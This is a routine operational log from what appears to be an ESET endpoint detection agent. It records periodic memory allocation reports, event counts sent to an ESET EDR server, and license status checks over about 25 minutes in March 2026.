2026-03-04 15:44:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ProcessInfo: 2771 KB; ModuleMetadata: 1968 KB; TcpIpConnectionsManager: 1180 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 511 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; BaseEvent: 257 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 68 KB; ProcessInfoCommandLineTag: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 13 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 15828 KB;
2026-03-04 15:45:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ProcessInfo: 3181 KB; ModuleMetadata: 1968 KB; TcpIpConnectionsManager: 1387 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 512 KB; BaseEvent: 440 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; cloudutils::CloudData: 136 KB; rules::ProcessConditionsCache: 128 KB; BatchSerializer::EventsQueueTag: 116 KB; ProcessInfoCommandLineTag: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 17 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 16801 KB;
2026-03-04 15:46:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ProcessInfo: 3545 KB; ModuleMetadata: 1968 KB; BaseEvent: 624 KB; TcpIpConnectionsManager: 583 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 512 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; BatchSerializer::EventsQueueTag: 165 KB; cloudutils::CloudData: 136 KB; rules::ProcessConditionsCache: 115 KB; ProcessInfoCommandLineTag: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 16571 KB;
2026-03-04 15:47:33 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 15:43:28, To:, 2026-03-04 15:47:33, Duration (s):, 245, Events Per Second:, 17.018, Events:, 4175, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3461, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 713, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 463374
2026-03-04 15:47:34 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s391ms.
2026-03-04 15:47:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ModuleMetadata: 1968 KB; ProcessInfo: 1477 KB; TcpIpConnectionsManager: 578 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 515 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; cloudutils::CloudData: 136 KB; rules::ProcessConditionsCache: 94 KB; BaseEvent: 62 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 16 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 13746 KB;
2026-03-04 15:48:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 15:48:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 15:48:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 15:48:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 15:48:49 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 15:48:49 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 15:48:49 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 15:48:49 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 15:48:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ModuleMetadata: 1968 KB; ProcessInfo: 1838 KB; TcpIpConnectionsManager: 553 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 516 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; BaseEvent: 243 KB; cloudutils::CloudData: 136 KB; rules::ProcessConditionsCache: 83 KB; BatchSerializer::EventsQueueTag: 63 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 14299 KB;
2026-03-04 15:49:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ProcessInfo: 2200 KB; ModuleMetadata: 1968 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 529 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 518 KB; BaseEvent: 422 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 109 KB; rules::ProcessConditionsCache: 67 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 14850 KB;
2026-03-04 15:50:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ProcessInfo: 2565 KB; ModuleMetadata: 1968 KB; BaseEvent: 600 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 521 KB; TcpIpConnectionsManager: 517 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; BatchSerializer::EventsQueueTag: 157 KB; cloudutils::CloudData: 136 KB; rules::ProcessConditionsCache: 61 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 15425 KB;
2026-03-04 15:51:45 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 15:47:32, To:, 2026-03-04 15:51:45, Duration (s):, 253, Events Per Second:, 16.169, Events:, 4098, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3374, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 723, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 454594
2026-03-04 15:51:47 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s357ms.
2026-03-04 15:51:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ModuleMetadata: 1968 KB; ProcessInfo: 1358 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 522 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 521 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; cloudutils::CloudData: 136 KB; rules::ProcessConditionsCache: 43 KB; BaseEvent: 32 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; BatchSerializer::EventsQueueTag: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 13490 KB;
2026-03-04 15:52:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ModuleMetadata: 1968 KB; ProcessInfo: 1730 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 537 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 523 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; BaseEvent: 212 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 55 KB; rules::ProcessConditionsCache: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 14103 KB;
2026-03-04 15:53:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 15:53:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 15:53:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 15:53:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 15:53:49 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 15:53:49 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 15:53:49 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 15:53:49 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 15:53:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ProcessInfo: 2090 KB; ModuleMetadata: 1968 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 547 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; BaseEvent: 383 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 101 KB; rules::ProcessConditionsCache: 43 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 14684 KB;
2026-03-04 15:54:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ProcessInfo: 2474 KB; ModuleMetadata: 1968 KB; BaseEvent: 572 KB; TcpIpConnectionsManager: 567 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; BatchSerializer::EventsQueueTag: 151 KB; cloudutils::CloudData: 136 KB; rules::ProcessConditionsCache: 50 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 15330 KB;
2026-03-04 15:55:49 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 15:51:45, To:, 2026-03-04 15:55:49, Duration (s):, 244, Events Per Second:, 16.886, Events:, 4128, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3416, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 711, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 460090
2026-03-04 15:55:50 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s353ms.
2026-03-04 15:55:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ModuleMetadata: 1968 KB; ProcessInfo: 1358 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 547 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 512 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; cloudutils::CloudData: 136 KB; rules::ProcessConditionsCache: 45 KB; rules::CachedConditionEvaluationCtx: 22 KB; BaseEvent: 14 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; BatchSerializer::EventsQueueTag: 4 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 13485 KB;
2026-03-04 15:56:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ModuleMetadata: 1968 KB; ProcessInfo: 1725 KB; TcpIpConnectionsManager: 553 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 514 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; BaseEvent: 195 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 51 KB; rules::ProcessConditionsCache: 41 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 14084 KB;
2026-03-04 15:57:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ProcessInfo: 2087 KB; ModuleMetadata: 1968 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 529 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 515 KB; BaseEvent: 374 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 98 KB; rules::ProcessConditionsCache: 25 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 14634 KB;
2026-03-04 15:58:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 15:58:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 15:58:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 15:58:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 15:58:49 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 15:58:49 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 15:58:49 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 15:58:49 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 15:58:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ProcessInfo: 2446 KB; ModuleMetadata: 1968 KB; BaseEvent: 553 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 527 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 517 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; BatchSerializer::EventsQueueTag: 145 KB; cloudutils::CloudData: 136 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; rules::ProcessConditionsCache: 5 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 15199 KB;
2026-03-04 15:59:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ProcessInfo: 2808 KB; ModuleMetadata: 1968 KB; BaseEvent: 732 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 519 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 519 KB; rules::ProcessConditionsCache: 401 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; BatchSerializer::EventsQueueTag: 192 KB; cloudutils::CloudData: 136 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 16176 KB;
2026-03-04 15:59:57 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 15:55:49, To:, 2026-03-04 15:59:57, Duration (s):, 248, Events Per Second:, 16.474, Events:, 4092, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3368, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 723, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 453782
2026-03-04 15:59:58 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s266ms.
2026-03-04 16:00:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ModuleMetadata: 1968 KB; ProcessInfo: 1656 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 539 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 517 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; BaseEvent: 163 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 42 KB; rules::ProcessConditionsCache: 42 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 14 KB; ProcessInfoCommandLineTag: 12 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 13972 KB;
2026-03-04 16:01:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ProcessInfo: 2040 KB; ModuleMetadata: 1968 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 547 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 521 KB; BaseEvent: 355 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 93 KB; rules::ProcessConditionsCache: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 14602 KB;
2026-03-04 16:02:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ProcessInfo: 2404 KB; ModuleMetadata: 1968 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 550 KB; BaseEvent: 535 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 522 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; BatchSerializer::EventsQueueTag: 140 KB; cloudutils::CloudData: 136 KB; rules::ProcessConditionsCache: 29 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 15186 KB;
2026-03-04 16:03:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 16:03:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 16:03:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 16:03:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 16:03:49 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 16:03:49 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 16:03:49 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 16:03:49 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 16:03:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ProcessInfo: 2777 KB; ModuleMetadata: 1968 KB; BaseEvent: 716 KB; TcpIpConnectionsManager: 567 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; BatchSerializer::EventsQueueTag: 187 KB; cloudutils::CloudData: 136 KB; rules::ProcessConditionsCache: 50 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ProcessInfoCommandLineTag: 11 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 15819 KB;
2026-03-04 16:04:01 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 15:59:56, To:, 2026-03-04 16:04:01, Duration (s):, 245, Events Per Second:, 16.775, Events:, 4121, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3415, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 705, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 461380
2026-03-04 16:04:03 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s257ms.
2026-03-04 16:04:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ModuleMetadata: 1968 KB; ProcessInfo: 1658 KB; TcpIpConnectionsManager: 573 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; BaseEvent: 164 KB; cloudutils::CloudData: 136 KB; rules::ProcessConditionsCache: 45 KB; BatchSerializer::EventsQueueTag: 44 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 13995 KB;
2026-03-04 16:05:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ProcessInfo: 2044 KB; ModuleMetadata: 1968 KB; TcpIpConnectionsManager: 601 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 507 KB; BaseEvent: 344 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 93 KB; rules::ProcessConditionsCache: 71 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 5 KB; BatchStringTag: 0 KB; Total: 14670 KB;
2026-03-04 16:06:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ProcessInfo: 2417 KB; ModuleMetadata: 1968 KB; TcpIpConnectionsManager: 626 KB; rules::AncestorEvaluations: 552 KB; BaseEvent: 527 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 511 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; BatchSerializer::EventsQueueTag: 142 KB; cloudutils::CloudData: 136 KB; rules::ProcessConditionsCache: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 15264 KB;
2026-03-04 16:07:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7697 KB; ProcessInfo: 2803 KB; ModuleMetadata: 1968 KB; BaseEvent: 714 KB; TcpIpConnectionsManager: 604 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 515 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; BatchSerializer::EventsQueueTag: 192 KB; cloudutils::CloudData: 136 KB; rules::ProcessConditionsCache: 54 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 13 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 5 KB; BatchStringTag: 0 KB; Total: 15892 KB;
2026-03-04 16:07:59 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 16:03:57, To:, 2026-03-04 16:07:59, Duration (s):, 242, Events Per Second:, 16.925, Events:, 4109, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3425, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 683, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 461814
2026-03-04 16:08:01 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s395ms.
2026-03-04 16:08:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 16:08:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 16:08:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 16:08:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
